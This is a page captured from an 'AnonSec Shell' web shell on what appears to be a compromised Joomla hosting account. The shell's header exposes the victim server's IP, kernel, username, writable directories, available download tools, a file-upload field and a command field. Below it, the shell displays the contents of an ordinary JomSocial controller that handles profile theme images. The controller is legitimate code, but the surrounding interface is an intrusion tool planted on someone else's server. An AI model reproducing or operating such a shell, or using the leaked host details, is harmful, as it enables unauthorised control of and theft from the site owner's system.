AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/administrator/components/com_community/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/administrator/components/com_community/controllers/themeprofile.php
<?php
/**
 * @copyright (C) 2013 iJoomla, Inc. - All rights reserved.
 * @license GNU General Public License, version 2 (http://www.gnu.org/licenses/gpl-2.0.html)
 * @author iJoomla.com <webmaster@ijoomla.com>
 * @url https://www.jomsocial.com/license-agreement
 * The PHP code portions are distributed under the GPL license. If not otherwise stated, all images, manuals, cascading style sheets, and included JavaScript *are NOT GPL, and are released under the IJOOMLA Proprietary Use License v1.0
 * More info at https://www.jomsocial.com/license-agreement
 */

use Joomla\CMS\Factory;
use Joomla\Filesystem\File;
use Joomla\CMS\Helper\UserGroupsHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Session\Session;

// Disallow direct access to this file
defined('_JEXEC') or die('Restricted access');

jimport( 'joomla.application.component.controller' );

/**
 * JomSocial Component Controller
 */
class CommunityControllerThemeprofile extends CommunityController
{

    public function __construct()
    {
        parent::__construct();
    }

    public function display( $cachable = false, $urlparams = array() )
    {
        CommunityLicenseHelper::_();
        $jinput = Factory::getApplication()->input;

        $viewName   = $jinput->get( 'view' , 'community' );

        // Set the default layout and view name
        $layout     = $jinput->get( 'layout' , 'default' );

        // Get the document object
        $document   = Factory::getDocument();

        // Get the view type
        $viewType   = $document->getType();

        // Get the view
        $view       = $this->getView( $viewName , $viewType );

        $profiles = $this->getModel( 'Profiles');
        $view->setModel($profiles  , false );

        // Set the layout
        $view->setLayout( $layout );

        // Display the view
        $view->display();
    }

    public function reset(){
        $this->apply('reset');
    }

    /**
     *  Save the profile information
     */
    public function apply($action='')
    {
        CommunityLicenseHelper::_();

        Session::checkToken() or jexit( Text::_( 'COM_COMMUNITY_INVALID_TOKEN' ) );

        $mainframe = Factory::getApplication();
        $jinput = $mainframe->input;

        if( JString::strtoupper($jinput->getMethod()) != 'POST')
        {
            return $this->setRedirect( 'index.php?option=com_community&view=themeprofile' , Text::_( 'COM_COMMUNITY_PERMISSION_DENIED' ) , 'error');
        }
        
        $imagePath = COMMUNITY_PATH_ASSETS; // same as the image path
        $groups = UserGroupsHelper::getInstance()->getAll();
        foreach ($groups as $group) {
            if ($jinput->post->get('remove-profile-group-badge-' . $group->id, NULL, 'NONE')) {
                $ext = $jinput->post->get('remove-profile-group-badge-' . $group->id, NULL, 'NONE');
                $removeBadge = $imagePath . '/' . 'profile-group-badge-' . $group->id . '.' . $ext;
                $removeBadgeThumb = $imagePath . '/' . 'profile-group-badge-' . $group->id . '-thumb.' . $ext;
                
                if (file_exists($removeBadge)) File::delete($removeBadge);
                if (file_exists($removeBadgeThumb)) File::delete($removeBadgeThumb);

                $message = Text::_('COM_COMMUNITY_THEME_PROFILE_UPDATED');
                return $this->setRedirect('index.php?option=com_community&view=themeprofile' , $message, 'message');
            }
        }

        
        $settings = $jinput->post->get('settings', array(), 'array');
        $configs = $jinput->post->get('config', null, 'array');

        // save the config first
        $model  = $this->getModel( 'Configuration' );

        if(!empty($configs)){
            // reset data
            if($action=='reset'){
                $configs['default_profile_tab'] = 0;
                $configs['use_gravatar'] = 0;
                $configs['show_profile_card'] = 1;
                $configs['activityLimit']= 5;
            }
            $model->save($configs);
        }

        $helper = new CommunityThemeHelper();
        // First, parse the Cover Info fields and unset the extra keys
        $settings = $helper->prepareCoverInfo($settings);

        // Handle image uploads
        #echo "<pre>";var_dump($post);die();

        foreach ($groups as $group) {
            $idname = 'profile-group-badge-' . $group->id;
            $images[$idname] = $jinput->files->get($idname, '', 'NONE');
        }

        $images['default-cover']           = $jinput->files->get('default-cover-new', '', 'NONE');
        $images['default-cover-male']      = $jinput->files->get('default-cover-male-new', '', 'NONE');
        $images['default-cover-female']    = $jinput->files->get('default-cover-female-new', '', 'NONE');
        $images['default-male-avatar']     = $jinput->files->get('default-male-avatar-new', '', 'NONE');
        $images['default-female-avatar']   = $jinput->files->get('default-female-avatar-new', '', 'NONE');
        $images['default-general-avatar']  = $jinput->files->get('default-general-avatar-new', '', 'NONE');

        foreach($images as $key => $image) {

            if($action=='reset'){
                $imageJpg = $imagePath . '/' . $key.'.jpg';
                $imagePng = $imagePath . '/' . $key.'.png';
                $imagePngThumb = $imagePath . '/' . $key.'-thumb.png';
                $imageJpgThumb = $imagePath . '/' . $key.'-thumb.jpg';
                
                if (file_exists($imageJpg)) File::delete($imageJpg);
                if (file_exists($imagePng)) File::delete($imagePng);
                if (file_exists($imagePngThumb)) File::delete($imagePngThumb);
                if (file_exists($imageJpgThumb)) File::delete($imageJpgThumb);

                //$settings[$key]='wwww';
            }else{
                if (!empty($image['tmp_name']) && isset($image['name']) && !empty($image['name'])) {

                    try {
                        CImageHelper::autorotate($image['tmp_name']);
                    } catch(Exception $e){};

                    //check the file extension first and only allow jpg or png
                    $ext = strtolower(pathinfo($image['name'], PATHINFO_EXTENSION));
                    
                    if (!in_array($ext, array('jpg', 'jpeg', 'png')) || ($image['type'] != 'image/png' && $image['type'] != 'image/jpeg')) {
                        return $this->setRedirect('index.php?option=com_community&view=themeprofile', Text::_('COM_COMMUNITY_THEME_IMAGE_ERROR'), 'error');
                    }

                    $imageJpg = $imagePath . '/' . $key.'.jpg';
                    $imagePng = $imagePath . '/' . $key.'.png';
                    $imageJpgThumb = $imagePath . '/' . $key.'-thumb.jpg';
                    $imagePngThumb = $imagePath . '/' . $key.'-thumb.png';

                    //check if existing image exist, if yes, delete it
                    if (file_exists($imageJpg)) File::delete($imageJpg);
                    if (file_exists($imagePng)) File::delete($imagePng);
                    if (file_exists($imageJpgThumb)) File::delete($imageJpgThumb);
                    if (file_exists($imagePngThumb)) File::delete($imagePngThumb);

                    //let move the tmp image to the actual path
                    $finalPath = $imagePath . $key . '.' . $ext;
                    $finalPathThumb = $imagePath . $key . '-thumb.' . $ext;
                    
                    move_uploaded_file($image['tmp_name'], $finalPath);

                    require_once(JPATH_ROOT."/components/com_community/helpers/image.php");

                    if(strstr($key,'avatar') || strstr($key,'badge')) {
                        // avatars check 1:1
                        $size = CImageHelper::getSize($finalPath);
                        if($size->height != $size->width && strstr($key,'avatar')) $message = TEXT::_('COM_COMMUNITY_THEME_AVATAR_RESIZED');

                        CImageHelper::resize($finalPath, $finalPath, "image/$ext", 160, 160);

                        // thumb
                        CImageHelper::resize($finalPath, $finalPathThumb, "image/$ext", 64, 64);

                    } else {
                        // other images
                        CImageHelper::resizeProportional($finalPath, $finalPath, "image/$ext", 1000, 1000);
                    }
                    $settings[$key]=$ext;
                }
            }
        }

        // Parse the rest of the settings afterwards
        $helper->parseSettings($settings,'profile');

        // There isn't much that can go wrong, no validation required
        if(!$message) $message = Text::_( 'COM_COMMUNITY_THEME_PROFILE_UPDATED' );
        $this->setRedirect( 'index.php?option=com_community&view=themeprofile' , $message, 'message' );
    }
}

Anon7 - 2022
AnonSec Team